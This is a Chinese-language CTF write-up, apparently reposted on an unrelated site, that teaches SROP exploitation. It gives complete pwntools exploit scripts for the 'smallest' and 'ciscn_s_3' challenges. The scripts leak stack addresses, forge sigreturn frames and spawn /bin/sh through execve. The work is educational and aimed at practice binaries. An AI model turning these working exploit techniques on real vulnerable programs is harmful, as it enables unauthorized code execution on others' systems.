SROP学习 smallest & ciscn |
您所在的位置:网站首页 › bjdctf 2nd › SROP学习 smallest & ciscn |
前情提要:
SROP(Sigreturn Oriented Programming) 于 2014 年被 Vrije Universiteit Amsterdam 的 Erik Bosman 提出,其相关研究Framing Signals — A Return to Portable Shellcode发表在安全顶级会议 Oakland 2014 上,被评选为当年的 Best Student Papers。 主要意思是靠系统调用劫持程序流。 SROP在64位下的系统调用号为0x0F,也就是15。 smallest来自i春秋 Checksec & IDA
SROP的利用条件有4个: 存在栈溢出漏洞,可以控制栈上的内容需要知道栈的地址,比如binsh需要知道syscall的地址需要知道sigreturn调用的地址那么我们来验证本题是否满足这些条件: 首先是第一个,栈溢出漏洞,不用想 肯定满足 第二个,需要知道栈的地址。 我们可以利用rax寄存器会存储read函数读取的字符数量这一点来构造,那么第二点也是可行的。 syscall的地址,也是知道的 sigreturn调用的地址,也就是 mov rax, 0x0F 我们也可以通过read函数。 显然 结果是可行。 那么我们该如何构建EXP呢? 我们先使用GDB调试一下程序看看。 可以发现成功泄露了栈上的地址出来。 那么我们还需要构建一个能让rax=15的payload,这部分我们该如何构建呢? 我们发现,我们输入了3次startaddr,也就是0x4000B0,这就是为什么。 我们可以通过第三次read,也就是start3来修改栈上的内容。 我们需要将以下payload送入栈中: payload = start_addr + syscall_ret + bytes(read)为什么要这样呢?因为我们下一步构建execve的SROP框架也需要使用read函数。 那么栈上的情况就会变成这样: 意思是从索引8开始,一直读取到索引22,正好是15个字符,正好跳过了0x4000B0,一石二鸟。 那么目前Payload就是这样的: from pwn import * io = process('./smallest') context(arch='amd64', os='linux', log_level='debug') syscall_ret = 0x4000BE start_addr = 0x4000B0 payload = p64(0x4000B0) * 3 io.send(payload) io.send(b'\xB3') stack_addr = u64(io.recv()[8:16]) log.success('Stack Address: ' + (hex(stack_addr))) read = SigreturnFrame() read.rax = 0 read.rdi = 0 read.rsi = stack_addr read.rdx = 0x400 read.rsp = stack_addr read.rip = syscall_ret payload = p64(start_addr) + p64(syscall_ret) + bytes(read) io.send(payload) io.send(payload[8:8+15]) print(len(payload[8:8+15])) io.interactive()可以发现正好是15字节。 也就是这样。 那么我们该如何放入栈中呢?和之前的read是一样的思路。 payload = p64(start_addr) + p64(syscall_ret) + bytes(execve_srop)但是问题来了,execve的第一参数是binsh,而我们设置的是stack_addr + 0x120,我们是如何确定binsh_addr的位置的? 这里我们需要知道我们这个框架的payload大小是多少,很简单,print就行。 我们只需要将前面的payload构建到0x120大小,再送入binsh即可。 完整Payload: from pwn import * io = process('./smallest') context(arch='amd64', os='linux', log_level='debug') syscall_ret = 0x4000BE start_addr = 0x4000B0 payload = p64(start_addr) * 3 io.send(payload) io.send(b'\xB3') stack_addr = u64(io.recv()[8:16]) log.success('Stack Address: ' + (hex(stack_addr))) read = SigreturnFrame() read.rax = 0x0 read.rdi = 0x0 read.rsi = stack_addr read.rdx = 0x400 read.rsp = stack_addr read.rip = syscall_ret payload = p64(start_addr) + p64(syscall_ret) + bytes(read) io.send(payload) io.send(payload[8:8+15]) execve_srop = SigreturnFrame() execve_srop.rax = 59 execve_srop.rdi = stack_addr + 0x120 execve_srop.rsi = 0x0 execve_srop.rdx = 0x0 execve_srop.rsp = stack_addr execve_srop.rip = syscall_ret frame_payload = p64(start_addr) + p64(syscall_ret) + bytes(execve_srop) payload = frame_payload + (0x120 - len(frame_payload)) * b'\x00' + b'/bin/sh\x00' io.send(payload) io.send(payload[8:8+15]) io.interactive() ciscn_s_3本题的ret2csu的解法不知道为什么CSDN给我吞了,有空给他重新写一下。 Checksec & IDA
拿地址的部分我就不细说了 sigreturn_addr = 0x4004DA syscall_ret = 0x400517泄露部分也是,我们泄露栈的地址,以此作为SROP存放的地址,然后我们用这个地址计算出输入的字符串,也就是binsh的地址,即可getshell。 比ret2csu简单到不知道哪里去。 完整EXP: from pwn import * io = process('./CISCN_2019_PWN3') elf = ELF('./CISCN_2019_PWN3') context(arch='amd64', os='linux', log_level='debug') sigreturn_addr = 0x4004DA syscall_ret = 0x400517 sigreturn_addr = 0x4004DA syscall_ret = 0x400517 vuln = elf.sym['vuln'] io.sendline(b'A' * 0x10 + p64(vuln)) io.recv(0x20) stack_addr = u64(io.recv(8)) binsh_addr = stack_addr - 0x148 execve = SigreturnFrame() execve.rax = 59 execve.rdi = binsh_addr execve.rsi = 0 execve.rdx = 0 execve.rsp = 0 execve.rip = syscall_ret payload = b'/bin/sh\x00' * 2 + p64(sigreturn_addr) + p64(syscall_ret) + bytes(execve) io.sendline(payload) io.interactive()具体思路就这样子,要更细点说的话 其实我觉得smallest都已经说完了。 首先通过栈溢出漏洞泄露栈地址,通过栈地址和栈的基址计算偏移 基址是rsi寄存器存储的,一开始运行程序就可以得到。 rax寄存器存放系统调用号 rdi存放第一参数 rsi存放第二参数 rdx存放第三参数 rsp不用管,设为0也行。 rip作为syscall_ret,这个SROP基本不变。 然后就没有然后了,注意一下binsh的位置就行。 泄露出来的地址是stack_addr,减去0x118或者0x148,然后payload这样构建就能getshell。 b'/bin/sh\x00' * 2 + p64(sigreturn_addr) + p64(syscall_ret) + bytes(execve)最后附一张今天学习SROP时跟着大佬做的流程图: |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |